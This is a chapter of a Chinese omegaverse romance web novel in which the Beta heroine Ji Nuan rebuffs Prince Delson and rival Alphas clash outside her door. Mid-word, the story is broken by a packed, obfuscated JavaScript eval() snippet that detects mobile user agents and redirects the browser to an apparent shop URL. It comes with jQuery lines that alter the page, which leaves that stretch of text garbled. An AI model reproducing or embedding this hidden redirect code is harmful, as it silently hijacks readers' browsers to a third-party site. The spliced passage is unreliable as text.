纪暖推门而出的时候,面上还带着没有完全散开的笑容。
手腕上那圈齿痕还隐隐发烫,仿佛带着Omega灼热的占有欲。
德尔森敏锐地捕捉到了那一闪而逝的笑意,又看见她微红的面颊,心头猛地一沉。
他急急上前一步,声音带着自己都没察觉的紧绷:“你生病了?”
纪暖的笑容立刻收敛了起来,神色恢复成惯有的疏离:“我很好,谢谢三殿下的关心。”
她摸了摸手腕上的痕迹,默默将手藏在了身后。
她不欲和德尔森多说什么,单刀直入:“三殿下这个时间点来找我,有什么要紧事?”
德尔森听着她疏远的语气,想起曾经和他一同并肩作战的场景,心下酸涩:“我们之间非得这么说话吗?”
纪暖回以一个礼貌的笑容:“殿下如果还是在意纪白和白明这两重身份,我可以与殿下说明白一些。”
她向前一步,目光清凌凌地直视着他:“三殿下和‘纪白’只不过是一场金钱交易,你用我的同伴要挟,让我不得不答应你的条件,陪你参加舞会、打探消息,钱货两讫,我们谁都不欠谁。”
Beta保持得体的笑容,口中却说着戳心窝子的话:“诚然我也从殿下这里获得了不少的情报,但鉴于三殿下当时的过分举动,我不追究殿下,殿下也别追究我。”
德尔森浑身一僵。
那是他此生做过最失去理智的行为。
那次舞会上,他被嫉妒和信息素冲昏了头脑,才做出了想要强行标记的行为。
也正是那一次之后,纪白好似默默地和他拉开了距离。
而白明这个身份便恰好出现在了他的视野中。
“你故意切断了纪白和我的联系……”德尔森感觉头脑一阵眩晕,曾经的他好似落入了一个巨大的陷阱中无法自拔,“然后用白明的身份接近我?”
“为什么?”
他问出了和昼景和同样的问题,却也是现在的纪暖无法回答的问题。
“在帝国大学的那段时间……”纪暖眼睫微垂,逃避了这个问题,她的眼中闪过一丝极其复杂的情绪,像是怀念,又像是自嘲,“我承认,作为‘白明’的那段日子,是我来到这个世界后,为数不多真正轻松快乐的时光。”
德尔森的呼吸微微一滞,心脏不受控制地加快了跳动。
他捕捉到了那丝“快乐”,像抓住了一线微光。
“在帝国大学,性别、出身、背景都不重要,”纪暖的声音低了下来,带着一种久违的柔软,“大家用天赋和实力说话。和师兄姐他们一起训练、熬夜修机甲、在食堂抢最后一份甜点;甚至你我二人在模拟战场上不分胜负地较量……那些,我是真心的。”
她抬起眼,看向德尔森,仿佛穿透了时间和谎言,看到了那名骄傲的皇子在深夜训练结束后默默递来一杯热饮。
那个时候的德尔森不是帝国的皇子,只是她的师兄。
德尔森的心像被一只无形的手攥紧了,酸涩中夹杂着一丝狂喜。
曾经无法理解的事情在此刻找到了答案。
所以他在第一眼见到白明的时候会觉得熟悉,明明是完全不同的长相,可她的一举一动始终带着纪暖的影子。
只不过那个时候的他压根儿没有意识到。
所以在看见白明和赫蒂亲近的时候他会觉得不快,就连他自己都觉得这种“不快”没头没尾,只能用理智强行压制住安静地做一名旁观者。
可他总是按捺不住感情的骚动,私心将自己和白明分在一队。
都是因为他在意啊。
可纪暖接下来的话却宛如一把弯刀,恶劣地剜着他的心口。
“可是那段经历对我来说到底和泡沫一样,我以为白明身份的终结会是因为我的谎言被戳破,却没想到是因为功高震主。”
纪暖笑得淡漠,好似经历过死亡的不是她本人,而真是那个和她毫不相干的Beta白明。
“也没想到是三殿下您亲自送我上了断头台。”
德尔森呼吸一滞,想要辩解,却被纪暖抬手制止。
“你可以说是权衡利弊下的无奈选择。”纪暖轻轻摇头,眼中满是淡淡地讥诮,“但你点头了,你选择了皇权,放弃了我。”
每一个字都像烧红的烙铁,烫在德尔森心上。
他张了张嘴,却发不出任何声音。
那一天始终如同噩梦,每日每夜都会出现在他梦里折磨着他。
那些“如果当初”的假设在她平静的陈述下,显得苍白无力。
不……
不,还来得及。
白明没有死不是吗?她只不过是换了个身份,虽然相貌声音家世完全不同,但记忆是真的,曾经相处过也是真的。
德尔森的眼中迸发出一种近乎癫狂的光芒,仿佛抓住了最后的救命稻草。
他上前一步,想要抓过纪暖的手腕,却被对方轻巧地向后一退,躲开了他伸过来的手。
她答应了季时风,要好好保护Omega的“标记”。
“但你还活着不是吗?”德尔森忘我地说着自己的畅想,“你也很怀念那段学校里的那段日子吧?我把赫蒂他们都找回来,老师一定会很乐意重新回来,你走之后,他总会在醉酒后念叨你是个有天赋的孩子。”
“我们还可以是师兄妹,还能像在学校里那样互相切磋,帝国可以和晴空社合作,你想要什么我都可以给你!我们……”
“德尔森。”
纪暖打断了他,声音很轻。
她看着他,眼神里没有恨,只有一种近乎悲悯的平静,和一丝淡淡的荒谬感。
“无论是纪白还是白明,都死了。”
“活下来的是晴空社的纪暖。”
这一句话宛如一盆冰水,浇灭了他所有的狂热。
“……纪暖?”
一道略带迟疑的呼唤从走廊另一端传来。
沈焱站在光影交界处,眉头微蹙,目光在纪暖和德尔森之间逡巡,最终定格在金发Alpha身上。
“三皇子?”他语气立刻转为戒备,快步上前,不着痕迹地将纪暖挡在身后,“这么晚了,您在这里有何贵干?”
德尔森本就濒临失控的情绪被这突如其来的闯入者彻底点燃。
他面色阴沉地盯着红发Al
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060643|165251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
pha,后者毫不示弱地回瞪,空气中瞬间弥漫开无声的硝烟。
信息素一点点地飘散出来,在空气中无声无息地打了好几个回合,交缠在一起吞噬着彼此,仿佛争夺地盘的野兽。
纪暖的智脑微微震了一下,提示此处的信息素含量过盛。
她身为Beta无法感知信息素,为了防止信息素过度而不自知的情况发生,她特意让金乌在她的智脑里安装了微型的监测系统,以便随时观察。
这不就派上用场了?
“够了。”纪暖声音冷了下来,同时伸出手,精准地扣住两人小臂。
力道透过作战服,留下清晰的指印,疼痛让两个被本能驱使的Alpha瞬间清醒。
外溢的信息素骤然收敛。
纪暖松了口气,目光瞥向自己房间。
希望季时风并没有受到影响。
她正要收回手,却被沈焱一把抓住手腕。
动作猝不及防,吓了Beta一跳。
“阿暖,我们聊聊。”沈焱紧紧抓着她的手腕。
他的指腹恰好压在纪暖腕间那圈微红的齿痕上,那里还在隐隐发烫,仿佛带着另一个人的温度和占有欲。
纪暖眉头一紧,再次试图挣脱:“沈焱,松手。”
纪暖下意识地看向房门那里。
房门虚掩着,门后的阴影里藏着一双金色的眼眸,正暗暗观察着这一切。
“先来后到,沈队长。”德尔森的声音冰冷地插了进来,他上前一步,蓝眸中寒光闪烁,“是我先来的。”
气氛再次剑拔弩张起来,眼看着一场争端又要一触即发,一道清冽如泉的嗓音突兀地响起,带着淡淡的讥诮。
“大半夜的,都堵在别人门口,是打算开茶话会么?”
三人同时转头。
走廊的另一端,昼景和不知何时悄然出现。
他依旧一袭素白长袍,银发在昏暗的光线下流淌着冷月般的光泽,浅绿色的眼眸平静地扫过这场面,落在纪暖被沈焱紧扣的手腕上,眸光几不可察地沉了沉。
“看来我来的不是时候?”他语气平淡,目光却意有所指地掠过沈焱和德尔森,“还是说,正是时候?”
沈焱脸色一沉,并未松手:“神之子也有闲情逸致深夜散步?”
“巧合而已。”昼景和停在几步开外,与三人形成一个微妙的三角,“只是感觉这里好像发生了一些有趣的事,过来看看。”
他看向纪暖,声音放缓了些:“需要帮忙么,纪长官?”
纪暖还未回答,虚掩的房门后,传来了第四个人的声音。
“还真是热闹啊。”
季时风推开门,慢悠悠地走了出来。
他身上穿着居家的宽松衣物,灰发微乱,金色的眼眸却保持锐利。
目光在沈焱紧扣的手腕上一扫而过,唇角勾起一抹没什么温度的弧度。
“我看需要帮忙的,是某些不太懂‘分寸’的Alpha才对。”
他一步步向前走,宛如一柄剑笔直刺入三角的正中心。
“大半夜在一名Omega的房间门口,怎么想都说不过去吧?”